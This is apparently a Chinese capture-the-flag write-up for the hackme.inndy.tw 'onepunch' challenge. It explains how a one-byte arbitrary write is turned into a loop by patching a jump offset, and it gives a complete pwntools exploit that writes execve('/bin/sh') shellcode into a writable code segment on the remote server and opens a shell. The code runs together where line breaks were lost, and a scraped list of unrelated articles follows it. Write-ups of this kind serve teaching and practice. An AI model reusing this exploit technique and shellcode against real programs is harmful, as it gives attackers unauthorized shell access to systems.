onepunch的wp
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习
onepunch的题目要求是:
nc hackme.inndy.tw 7718Punch!
这个题目没有太多提示
下面我用ida打开smashthestack这个程序看main函数
这个程序在16行有一个任意地址写的漏洞,程序输入的第一个数字是写入的地址,第二个数字是写入的数,但是这个程序只能写一个字节的数据到指定地址
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是这个程序没有开启地址随机化
用gdb加载一下这个程序
用vmmap这个指令可以看到代码段可读写,这个题目一下子就简单了,通过任意地址的写,把shellcode写入内存中,然后执行起来,先看一下汇编代码
可以看到在任意地址写这个漏洞之后有个条件跳转(0000000000400767),可以控制这个跳转向上跳转到输入的地方(000000000040072C)从而使这段代码变成一个循环,可以看一下jz short loc_400756
对应的字节码是75 0a,75是jnz,0a是跳转的偏移,所以就刚刚好通过第一次写操作把这个0a改掉,所以程序开始时输入400768 -61就可以让这个程序变成一个循环了
这样通过这个循环把0000000000400769后面的代码变成shellcode就可以了,关于shellcode,里面不能出现255,如果有255的话,shellcode就会被程序截断,我找了半天,找到一个好用的shellcode:https://www.exploit-db.com/exploits/36858/
这样就可以实现exp了:
#-*- coding: utf-8 -*-
__Auther__ = 'niexinming'from pwn import *
import binascii
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'amd64', os = 'linux', log_level = 'debug')def debug(addr = '0x000000000040075d'):raw_input('debug:')gdb.attach(io, "b *" + addr)elf = ELF('/home/h11p/hackme/onepunch')
stack_chk_fail=elf.got['__stack_chk_fail']
print "%x" % stack_chk_fail#shellcode=asm(shellcraft.amd64.linux.sh())
#str_shellcode=str(binascii.b2a_hex(shellcode))
#https://www.exploit-db.com/exploits/36858/
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
addr=0x0400769#io = process('/home/h11p/hackme/onepunch')io = remote('hackme.inndy.tw', 7718)payload1 = '400768'
payload2 = '-61'#debug()time.sleep(1)
io.recvuntil('Where What?')
io.sendline(payload1)
io.sendline(payload2)
'''
for i in xrange(0,len(str_shellcode),2):io.sendline(hex(addr))io.sendline(str(int(str_shellcode[i:i+2],16)))addr=addr+0x1
'''for i in shellcode:io.sendline(hex(addr))io.sendline(str(ord(i)))addr = addr + 0x1
io.sendline('4006f3')
io.sendline(str(255))
#io.recv()
io.interactive()io.close()
效果是:
onepunch的wp相关推荐
- hackme inndy pwn onepunch writeup
继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...
- [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序
下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...
- wp实例开发精品文章源码推荐
qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用 这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...
- cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏
无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...
- linux 更改wp版本号,代码实现移除 WordPress 版本号
默认情况下,WordPress会在页头输出版本号,有一定安全隐患. 在当前主题的functions.php中添加以下代码,可同时移除feed和js/css中的WordPress版本号: // 同时删除 ...
- 图解 wp WordPress 文章 链接 在新窗口打开
wp WordPress 文章 链接 在新窗口打开 因为wp默认是不在新窗口打开链接的,这对于我们这样习惯关窗口的人,用起来很不方便.其实改起来很简单,下面开始 一.打开外观,选择编辑 二.打开主题页 ...
- 正确设置语言,加速WP应用提交
App Hub在7月18日进行了更新.有些用户反馈新增的默认语言选项有点令人费解.本文简单做个介绍,帮助开发者正确设置语言,加速WP应用提交快速.这次的系统更新后,App Hub可以检 ...
- wordpress必装的插件 wp最常用的十个插件
wordpress是世界上著名的博客系统,简称wp.一般新安装完wordpress以后,往往需要首先安装一些插件,这样才可以使用wordpress的更多功能.wp最常用的十个插件有哪些呢,可能根据每个 ...
- WP老杨解迷:开发生态两极化和榜单乱象
WP老杨解迷:开发生态两极化和榜单乱象 Windows Phone 自2013年的一片浪潮推动下,2014年终于开始引起了各大小CP们的注意,于是大量的产品开始乘风破浪一路涌进Windows Phon ...
最新文章
- Android Touch事件原理加实例分析
- python拼音怎么写-python: 拼音处理模块
- linux sshd服务是什么意思,Linux中sshd命令起什么作用呢?
- 计算机实训课教案模板,CorelDRAW实训课教案(7周)
- org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.TooManyR
- 使用Linux,Python和Raspberry Pi酿造啤酒
- 采用Spring实现AOP功能
- django jsonresponse_0基础掌握Django框架(29)HttpResponse对象
- 搜索框,输入关键字过滤对象数组
- 图像识别算法超低代码开发方案
- 使用Keras打造一个实时可用交通标志识别App
- 从DCF到DCX:构想照进现实
- 一文搞懂深度学习中常用的优化算法
- 使用selenium爬取东航余票
- TTL反相器 电路分析
- 景深与光圈与焦距关系
- Java知识结构图谱
- IDEA学习篇——finds duplicated code提示
- 华为手机安卓手机莫名其妙的闹钟不知道哪里来的
- Bi-LSTM-CRF命名实体识别实战